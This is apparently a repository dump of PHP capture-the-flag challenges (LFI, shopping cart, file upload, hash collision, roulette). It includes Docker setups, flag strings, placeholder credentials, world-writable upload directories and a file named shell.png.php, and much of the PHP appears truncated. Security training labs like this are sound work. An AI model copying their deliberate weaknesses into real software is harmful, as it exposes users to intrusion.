https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/svg.svg -------------------------------------------------------------------------------- /001lfihashes/src/test/text.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/text.txt -------------------------------------------------------------------------------- /001lfihashes/src/test/typescript.ts: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/typescript.ts -------------------------------------------------------------------------------- /001lfihashes/src/test/vagrantfile: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/vagrantfile -------------------------------------------------------------------------------- /001lfihashes/src/test/vue.vue: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/vue.vue -------------------------------------------------------------------------------- /001lfihashes/src/test/webp.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/webp.webp -------------------------------------------------------------------------------- /001lfihashes/src/test/webpack.config.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/webpack.config.js -------------------------------------------------------------------------------- /001lfihashes/src/test/xml.xml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/xml.xml -------------------------------------------------------------------------------- /001lfihashes/src/test/yarn.lock: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/yarn.lock -------------------------------------------------------------------------------- /001lfihashes/src/test/yml.yml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/yml.yml -------------------------------------------------------------------------------- /001lfihashes/src/test/zip.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/001lfihashes/src/test/zip.zip -------------------------------------------------------------------------------- /002shoppingcart/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /002shoppingcart/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | RUN docker-php-ext-install mysqli 3 | COPY src/ /var/www/html/ 4 | RUN chmod -R 755 /var/www/html/ 5 | -------------------------------------------------------------------------------- /002shoppingcart/LICENSE: -------------------------------------------------------------------------------- 1 | This is free and unencumbered software released into the public domain. 2 | 3 | Anyone is free to copy, modify, publish, use, compile, sell, or 4 | distribute this software, either in source code form or as a compiled 5 | binary, for any purpose, commercial or non-commercial, and by any 6 | means. 7 | 8 | In jurisdictions that recognize copyright laws, the author or authors 9 | of this software dedicate any and all copyright interest in the 10 | software to the public domain. We make this dedication for the benefit 11 | of the public at large and to the detriment of our heirs and 12 | successors. We intend this dedication to be an overt act of 13 | relinquishment in perpetuity of all present and future rights to this 14 | software under copyright law. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, 17 | EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF 18 | MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. 19 | IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR 20 | OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, 21 | ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR 22 | OTHER DEALINGS IN THE SOFTWARE. 23 | 24 | For more information, please refer to 25 | -------------------------------------------------------------------------------- /002shoppingcart/README.md: -------------------------------------------------------------------------------- 1 | # docker-lamp 2 | 3 | Docker example with Apache, MySql 8.0, PhpMyAdmin and Php 4 | 5 | - You can use MariaDB 10.1 if you checkout to the tag `mariadb-10.1` - contribution made by [luca-vercelli](https://github.com/luca-vercelli) 6 | - You can use MySql 5.7 if you checkout to the tag `mysql5.7` 7 | 8 | I use docker-compose as an orchestrator. To run these containers: 9 | 10 | ``` 11 | docker-compose up -d 12 | ``` 13 | 14 | Open phpmyadmin at [http://localhost:8000](http://localhost:8000) 15 | Open web browser to look at a simple php example at [http://localhost:8001](http://localhost:8001) 16 | 17 | Run mysql client: 18 | 19 | - `docker-compose exec db mysql -u root -p` 20 | 21 | Enjoy ! 22 | -------------------------------------------------------------------------------- /002shoppingcart/conf/.gitkeep: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/conf/.gitkeep -------------------------------------------------------------------------------- /002shoppingcart/conf/create-products.sql: -------------------------------------------------------------------------------- 1 | -- 2 | -- Table structure for table `products` 3 | -- 4 | 5 | CREATE TABLE IF NOT EXISTS `products` ( 6 | `product_id` int(11) NOT NULL, 7 | `name` varchar(100) NOT NULL, 8 | `sku` varchar(14) NOT NULL, 9 | `price` decimal(15,2) NOT NULL, 10 | `image` varchar(50) NOT NULL, 11 | PRIMARY KEY (`product_id`), 12 | UNIQUE KEY `sku` (`sku`) 13 | ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8; 14 | 15 | 16 | 17 | -- 18 | -- Dumping data for table `products` 19 | -- 20 | 21 | INSERT INTO `products` (`product_id`, `name`, `sku`, `price`, `image`) VALUES 22 | (1, 'Iphone', 'IPHO001', '400.00', 'images/iphone.jpg'), 23 | (2, 'Camera', 'CAME001', '700.00', 'images/camera.jpg'), 24 | (3, 'Watch', 'WATC002', '100.00', 'images/watch.jpg'); 25 | (4, 'Watch', 'WATC003', '100.00', 'images/watch.jpg'); 26 | (5, 'Watch', 'WATC004', '100.00', 'images/watch.jpg'); 27 | (6, 'Watch', 'WATC005', '100.00', 'images/watch.jpg'); 28 | 29 | 30 | CREATE TABLE IF NOT EXISTS `ctf` ( 31 | `flag` varchar(100) NOT NULL, 32 | PRIMARY KEY (`flag`), 33 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8; 34 | 35 | INSERT INTO `ctf` (`flag`) VALUES 36 | ('FLAG{PRUF_FOR_ALL_THAT_I_AM_HACKER}') 37 | -------------------------------------------------------------------------------- /002shoppingcart/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3.1" 2 | services: 3 | 002shoppingcartwww: 4 | build: ./. 5 | ports: 6 | - "80:80" 7 | links: 8 | - 002shoppingcartdb 9 | 002shoppingcartdb: 10 | image: mysql:8.0 11 | expose: 12 | - "3306" 13 | command: --default-authentication-plugin=mysql_native_password 14 | environment: 15 | MYSQL_DATABASE: myDb 16 | MYSQL_USER: not_brutforsable_user 17 | MYSQL_PASSWORD: not_brutforsable_password 18 | MYSQL_ROOT_PASSWORD: not_brutforsable_password 19 | volumes: 20 | - ./dump:/docker-entrypoint-initdb.d 21 | - ./conf:/etc/mysql/conf.d 22 | - ./src/ /var/www/html/ 23 | -------------------------------------------------------------------------------- /002shoppingcart/src/README.md: -------------------------------------------------------------------------------- 1 | # Simple-PHP-Shopping-Cart 2 | Simple PHP shopping cart application for beginners. 3 | 4 | Step #1 5 | Run the create-products.sql script and change the connection string in your script to your database. 6 | 7 | Read tutorial here 8 | http://www.tutsplanet.com/simple-php-shopping-cart-958/ 9 | -------------------------------------------------------------------------------- /002shoppingcart/src/confirm_purchase/assets/images/amex.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/confirm_purchase/assets/images/amex.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/confirm_purchase/assets/images/mastercard.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/confirm_purchase/assets/images/mastercard.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/confirm_purchase/assets/images/visa.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/confirm_purchase/assets/images/visa.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/create-products.sql: -------------------------------------------------------------------------------- 1 | -- 2 | -- Table structure for table `products` 3 | -- 4 | 5 | CREATE TABLE IF NOT EXISTS `products` ( 6 | `product_id` int(11) NOT NULL, 7 | `name` varchar(100) NOT NULL, 8 | `sku` varchar(14) NOT NULL, 9 | `price` decimal(15,2) NOT NULL, 10 | `image` varchar(50) NOT NULL, 11 | PRIMARY KEY (`product_id`), 12 | UNIQUE KEY `sku` (`sku`) 13 | ) ENGINE=InnoDB AUTO_INCREMENT=4 DEFAULT CHARSET=utf8; 14 | 15 | 16 | 17 | -- 18 | -- Dumping data for table `products` 19 | -- 20 | 21 | INSERT INTO `products` (`product_id`, `name`, `sku`, `price`, `image`) VALUES 22 | (1, 'Iphone', 'IPHO001', '400.00', 'images/iphone.jpg'), 23 | (2, 'Camera', 'CAME001', '700.00', 'images/camera.jpg'), 24 | (3, 'Watch', 'WATC001', '100.00', 'images/watch.jpg'); 25 | -------------------------------------------------------------------------------- /002shoppingcart/src/images/beer.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/beer.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/images/camera.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/camera.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/images/dron.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/dron.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/images/fitnes.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/fitnes.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/images/gopro.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/gopro.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/images/iphone.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/iphone.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/images/laptop.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/laptop.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/images/powerbank.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/powerbank.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/images/router.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/router.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/images/tank.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/tank.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/images/wape.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/wape.jpg -------------------------------------------------------------------------------- /002shoppingcart/src/images/watch.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/002shoppingcart/src/images/watch.jpg -------------------------------------------------------------------------------- /003fileupload/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /003fileupload/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install libfontconfig nano -y 3 | COPY src/ /var/www/html/ 4 | COPY config/php.ini /usr/local/etc/php/ 5 | RUN chown root /var/www/html/* 6 | RUN chmod 655 /var/www/html/* 7 | RUN chmod 777 /var/www/html/images/ 8 | -------------------------------------------------------------------------------- /003fileupload/shell.png.php: -------------------------------------------------------------------------------- 1 | abcdefghijklmnopqrstuvwxyz?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`{|}', 4 | '@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]!"#$%&\'()*+,-./0123456789:;<=>?^_`abcdefghijklmnopqrstuvwxyz{}~' 5 | ); 6 | print $readable; 7 | 8 | ?> 9 | -------------------------------------------------------------------------------- /003fileupload/src/.htaccess: -------------------------------------------------------------------------------- 1 | IndexOptions +Charset=UTF-8 2 | AddCharset utf-8 .html .css .php .txt .js 3 | -------------------------------------------------------------------------------- /003fileupload/src/flag.php: -------------------------------------------------------------------------------- 1 | abcdefghijklmnopqrstuvwxyz?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`{|}', 4 | '@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]!"#$%&\'()*+,-./0123456789:;<=>?^_`abcdefghijklmnopqrstuvwxyz{}~' 5 | ) 6 | print $readable 7 | 8 | ?> 9 | -------------------------------------------------------------------------------- /003fileupload/src/images/0speaker-closeup.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/003fileupload/src/images/0speaker-closeup.jpg -------------------------------------------------------------------------------- /003fileupload/src/images/0speaker-lemons.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/003fileupload/src/images/0speaker-lemons.jpg -------------------------------------------------------------------------------- /003fileupload/src/images/0speaker-touch.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/003fileupload/src/images/0speaker-touch.jpg -------------------------------------------------------------------------------- /003fileupload/src/vanilla-zoom/vanilla-zoom.css: -------------------------------------------------------------------------------- 1 | .vanilla-zoom { 2 | width: 100%; 3 | display: flex; 4 | } 5 | 6 | .vanilla-zoom .sidebar { 7 | flex-basis: 30%; 8 | display: flex; 9 | flex-direction: column; 10 | } 11 | 12 | .vanilla-zoom .sidebar img.small-preview{ 13 | width: 100%; 14 | margin-bottom: 5px; 15 | cursor: pointer; 16 | } 17 | 18 | .vanilla-zoom .sidebar img.small-preview:last-child{ 19 | margin-bottom: 0; 20 | } 21 | 22 | .vanilla-zoom .zoomed-image { 23 | flex: 1; 24 | background-repeat: no-repeat; 25 | background-position: center; 26 | background-size: cover; 27 | margin-left: 5px; 28 | } 29 | 30 | @media (max-width: 768px) { 31 | .vanilla-zoom .sidebar { 32 | flex: 1; 33 | } 34 | 35 | .vanilla-zoom .sidebar img.small-preview { 36 | cursor: auto; 37 | margin-bottom: 12px; 38 | } 39 | 40 | .vanilla-zoom .zoomed-image { 41 | display: none; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /003fileupload/src/vanilla-zoom/vanilla-zoom.min.css: -------------------------------------------------------------------------------- 1 | .vanilla-zoom{width:100%;display:flex}.vanilla-zoom .sidebar{flex-basis:30%;display:flex;flex-direction:column}.vanilla-zoom .sidebar img.small-preview{width:100%;margin-bottom:5px;cursor:pointer}.vanilla-zoom .sidebar img.small-preview:last-child{margin-bottom:0}.vanilla-zoom .zoomed-image{flex:1;background-repeat:no-repeat;background-position:center;background-size:cover;margin-left:5px}@media (max-width:768px){.vanilla-zoom .sidebar{flex:1}.vanilla-zoom .sidebar img.small-preview{cursor:auto;margin-bottom:12px}.vanilla-zoom .zoomed-image{display:none}} -------------------------------------------------------------------------------- /003fileupload/src/vanilla-zoom/vanilla-zoom.min.js: -------------------------------------------------------------------------------- 1 | (function(e){function r(){var e={};return e.init=function(e){var r=document.querySelector(e);if(!r)return void console.error("No container element. Please make sure you are using the right markup.");var o=r.querySelector(".small-preview"),n=r.querySelector(".zoomed-image");return n?o?(n.style.backgroundImage="url("+o.src+")",r.addEventListener("click",function(e){var r=e.target;if(r.classList.contains("small-preview")){var o=r.src;n.style.backgroundImage="url("+o+")"}}),n.addEventListener("mouseenter",function(e){this.style.backgroundSize="250%"},!1),n.addEventListener("mousemove",function(e){var r=this.getBoundingClientRect(),o=e.clientX-r.left,n=e.clientY-r.top,t=Math.round(100/(r.width/o)),i=Math.round(100/(r.height/n));this.style.backgroundPosition=t+"% "+i+"%"},!1),void n.addEventListener("mouseleave",function(e){this.style.backgroundSize="cover",this.style.backgroundPosition="center"},!1)):void console.error("No preview images on page. Please make sure you are using the right markup."):void console.error("No zoomed image element. Please make sure you are using the right markup.")},e}"undefined"==typeof vanillaZoom?e.vanillaZoom=r():console.log("Library already defined.")})(window); -------------------------------------------------------------------------------- /004emoji/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /004emoji/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install libfontconfig nano -y 3 | COPY src/ /var/www/html/ 4 | COPY config/php.ini /usr/local/etc/php/ 5 | -------------------------------------------------------------------------------- /004emoji/src/.htaccess: -------------------------------------------------------------------------------- 1 | IndexOptions +Charset=UTF-8 2 | AddCharset utf-8 .html .css .php .txt .js 3 | -------------------------------------------------------------------------------- /004emoji/src/index.php: -------------------------------------------------------------------------------- 1 |
4 |
5 | '); 6 | 7 | 8 | if($_REQUEST["password"]){ 9 | echo(''); 10 | } 11 | 12 | if($_REQUEST["hint"]){ 13 | echo("
😗🐑🚀😭😚😭🐎🐎🚣🌹🚅🌃🎳🏪💞🍬👲❄🍘🌹😄👹🌃❄🍘❄🍺🌃😄👹📲🌹🌃🍬🍺👲🍺🙍"); 14 | } 15 | 16 | echo('
'); 17 | ?> 18 | 19 | 🐝 20 | -------------------------------------------------------------------------------- /005fileuploadtmp/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /005fileuploadtmp/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install libfontconfig nano -y 3 | COPY src/ /var/www/html/ 4 | COPY config/php.ini /usr/local/etc/php/ 5 | RUN chown root /var/www/html/* 6 | RUN chmod 777 /var/www/html/upload_log.txt 7 | RUN chmod 777 /var/www/html/test/upload_log.txt 8 | RUN echo "FLAG{Finally_You_Got_It}" > /home/flag_.txt 9 | RUN chmod 644 /home/flag_.txt 10 | -------------------------------------------------------------------------------- /005fileuploadtmp/src/.htaccess: -------------------------------------------------------------------------------- 1 | IndexOptions +Charset=UTF-8 2 | AddCharset utf-8 .html .css .php .txt .js 3 | -------------------------------------------------------------------------------- /005fileuploadtmp/src/MobSF_Logo_small.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/005fileuploadtmp/src/MobSF_Logo_small.png -------------------------------------------------------------------------------- /005fileuploadtmp/src/ie10-viewport-bug-workaround.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * IE10 viewport hack for Surface/desktop Windows 8 bug 3 | * Copyright 2014 Twitter, Inc. 4 | * Licensed under the Creative Commons Attribution 3.0 Unported License. For 5 | * details, see http://creativecommons.org/licenses/by/3.0/. 6 | */ 7 | 8 | // See the Getting Started docs for more information: 9 | // http://getbootstrap.com/getting-started/#support-ie10-width 10 | 11 | (function () { 12 | 'use strict'; 13 | if (navigator.userAgent.match(/IEMobile\/10\.0/)) { 14 | var msViewportStyle = document.createElement('style') 15 | msViewportStyle.appendChild( 16 | document.createTextNode( 17 | '@-ms-viewport{width:auto!important}' 18 | ) 19 | ) 20 | document.querySelector('head').appendChild(msViewportStyle) 21 | } 22 | })(); 23 | -------------------------------------------------------------------------------- /005fileuploadtmp/src/index.php: -------------------------------------------------------------------------------- 1 | 15 | -------------------------------------------------------------------------------- /005fileuploadtmp/src/test/MobSF_Logo_small.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/005fileuploadtmp/src/test/MobSF_Logo_small.png -------------------------------------------------------------------------------- /005fileuploadtmp/src/test/ie10-viewport-bug-workaround.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * IE10 viewport hack for Surface/desktop Windows 8 bug 3 | * Copyright 2014 Twitter, Inc. 4 | * Licensed under the Creative Commons Attribution 3.0 Unported License. For 5 | * details, see http://creativecommons.org/licenses/by/3.0/. 6 | */ 7 | 8 | // See the Getting Started docs for more information: 9 | // http://getbootstrap.com/getting-started/#support-ie10-width 10 | 11 | (function () { 12 | 'use strict'; 13 | if (navigator.userAgent.match(/IEMobile\/10\.0/)) { 14 | var msViewportStyle = document.createElement('style') 15 | msViewportStyle.appendChild( 16 | document.createTextNode( 17 | '@-ms-viewport{width:auto!important}' 18 | ) 19 | ) 20 | document.querySelector('head').appendChild(msViewportStyle) 21 | } 22 | })(); 23 | -------------------------------------------------------------------------------- /005fileuploadtmp/src/test/index.php: -------------------------------------------------------------------------------- 1 | 15 | -------------------------------------------------------------------------------- /005fileuploadtmp/src/test/upload.html: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /005fileuploadtmp/src/test/upload_log.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/005fileuploadtmp/src/test/upload_log.txt -------------------------------------------------------------------------------- /005fileuploadtmp/src/upload.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Responsive Animated File Uploader 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 |
14 |
15 |
16 | 17 |

18 |
19 |
20 |

Drop your file here

21 |
22 | 23 | 24 | 25 | 26 | 27 | -------------------------------------------------------------------------------- /005fileuploadtmp/src/upload_log.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/005fileuploadtmp/src/upload_log.txt -------------------------------------------------------------------------------- /005fileuploadtmp/src/vanilla-zoom/vanilla-zoom.css: -------------------------------------------------------------------------------- 1 | .vanilla-zoom { 2 | width: 100%; 3 | display: flex; 4 | } 5 | 6 | .vanilla-zoom .sidebar { 7 | flex-basis: 30%; 8 | display: flex; 9 | flex-direction: column; 10 | } 11 | 12 | .vanilla-zoom .sidebar img.small-preview{ 13 | width: 100%; 14 | margin-bottom: 5px; 15 | cursor: pointer; 16 | } 17 | 18 | .vanilla-zoom .sidebar img.small-preview:last-child{ 19 | margin-bottom: 0; 20 | } 21 | 22 | .vanilla-zoom .zoomed-image { 23 | flex: 1; 24 | background-repeat: no-repeat; 25 | background-position: center; 26 | background-size: cover; 27 | margin-left: 5px; 28 | } 29 | 30 | @media (max-width: 768px) { 31 | .vanilla-zoom .sidebar { 32 | flex: 1; 33 | } 34 | 35 | .vanilla-zoom .sidebar img.small-preview { 36 | cursor: auto; 37 | margin-bottom: 12px; 38 | } 39 | 40 | .vanilla-zoom .zoomed-image { 41 | display: none; 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /005fileuploadtmp/src/vanilla-zoom/vanilla-zoom.min.css: -------------------------------------------------------------------------------- 1 | .vanilla-zoom{width:100%;display:flex}.vanilla-zoom .sidebar{flex-basis:30%;display:flex;flex-direction:column}.vanilla-zoom .sidebar img.small-preview{width:100%;margin-bottom:5px;cursor:pointer}.vanilla-zoom .sidebar img.small-preview:last-child{margin-bottom:0}.vanilla-zoom .zoomed-image{flex:1;background-repeat:no-repeat;background-position:center;background-size:cover;margin-left:5px}@media (max-width:768px){.vanilla-zoom .sidebar{flex:1}.vanilla-zoom .sidebar img.small-preview{cursor:auto;margin-bottom:12px}.vanilla-zoom .zoomed-image{display:none}} -------------------------------------------------------------------------------- /005fileuploadtmp/src/vanilla-zoom/vanilla-zoom.min.js: -------------------------------------------------------------------------------- 1 | (function(e){function r(){var e={};return e.init=function(e){var r=document.querySelector(e);if(!r)return void console.error("No container element. Please make sure you are using the right markup.");var o=r.querySelector(".small-preview"),n=r.querySelector(".zoomed-image");return n?o?(n.style.backgroundImage="url("+o.src+")",r.addEventListener("click",function(e){var r=e.target;if(r.classList.contains("small-preview")){var o=r.src;n.style.backgroundImage="url("+o+")"}}),n.addEventListener("mouseenter",function(e){this.style.backgroundSize="250%"},!1),n.addEventListener("mousemove",function(e){var r=this.getBoundingClientRect(),o=e.clientX-r.left,n=e.clientY-r.top,t=Math.round(100/(r.width/o)),i=Math.round(100/(r.height/n));this.style.backgroundPosition=t+"% "+i+"%"},!1),void n.addEventListener("mouseleave",function(e){this.style.backgroundSize="cover",this.style.backgroundPosition="center"},!1)):void console.error("No preview images on page. Please make sure you are using the right markup."):void console.error("No zoomed image element. Please make sure you are using the right markup.")},e}"undefined"==typeof vanillaZoom?e.vanillaZoom=r():console.log("Library already defined.")})(window); -------------------------------------------------------------------------------- /006hashcollision/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /006hashcollision/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:5.6-apache 2 | run apt-get update && apt-get install libfontconfig nano -y 3 | COPY src/ /var/www/html/ 4 | COPY config/php.ini /usr/local/etc/php/ 5 | -------------------------------------------------------------------------------- /006hashcollision/src/.htaccess: -------------------------------------------------------------------------------- 1 | IndexOptions +Charset=UTF-8 2 | AddCharset utf-8 .html .css .php .txt .js 3 | -------------------------------------------------------------------------------- /006hashcollision/src/check.php: -------------------------------------------------------------------------------- 1 | 16 | -------------------------------------------------------------------------------- /006hashcollision/src/index.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Calm breeze login screen 6 | 7 | 8 | 9 | 10 |
11 |
12 |

Input your username and password

13 |
14 | 15 | 16 | 17 |
18 | 19 |
20 | 21 |
    22 |
  • 23 |
  • 24 |
  • 25 |
  • 26 |
  • 27 |
  • 28 |
  • 29 |
  • 30 |
  • 31 |
  • 32 |
33 |
34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 56 | -------------------------------------------------------------------------------- /006hashcollision/src/info.php: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /006hashcollision/src/script.js: -------------------------------------------------------------------------------- 1 | $("#login-button").click(function(event){ 2 | event.preventDefault(); 3 | 4 | 5 | postForm('/check.php') 6 | .then(data => check(data)) 7 | .catch(error => console.error(error)) 8 | 9 | }); 10 | 11 | 12 | 13 | 14 | function postForm(url) { 15 | const formData = new FormData(document.querySelector('form')) 16 | $('form').fadeOut(1000); 17 | return fetch(url, { 18 | method: 'POST', // or 'PUT' 19 | body: formData // a FormData will automatically set the 'Content-Type' 20 | }) 21 | 22 | .then(response => response.text()) 23 | 24 | } 25 | 26 | function check(data){ 27 | if(data=="Wrong credentials"){ 28 | $('form').fadeIn(1000); 29 | $('#answer').text(data); 30 | setTimeout(function(){ $('#answer').text("Input your username and password"); }, 3000); 31 | }else{ 32 | $('.wrapper').addClass('form-success'); 33 | $('#answer').text(data); 34 | } 35 | 36 | 37 | } 38 | -------------------------------------------------------------------------------- /007roulette/.dockerignore: -------------------------------------------------------------------------------- 1 | **.git 2 | **.cache 3 | **.DS_Store 4 | -------------------------------------------------------------------------------- /007roulette/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM php:7.2-apache 2 | run apt-get update && apt-get install libfontconfig nano -y 3 | COPY src/ /var/www/html/ 4 | COPY config/php.ini /usr/local/etc/php/ 5 | -------------------------------------------------------------------------------- /007roulette/src/.htaccess: -------------------------------------------------------------------------------- 1 | IndexOptions +Charset=UTF-8 2 | AddCharset utf-8 .html .css .php .txt .js 3 | -------------------------------------------------------------------------------- /007roulette/src/17665.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Annihilat0r/owaspctf/66fcdf6f5a3ba3e341efb903ddb015356ff799bd/007roulette/src/17665.jpg -------------------------------------------------------------------------------- /007roulette/src/index.php: -------------------------------------------------------------------------------- 1 |
4 |
5 | '); 6 | echo('
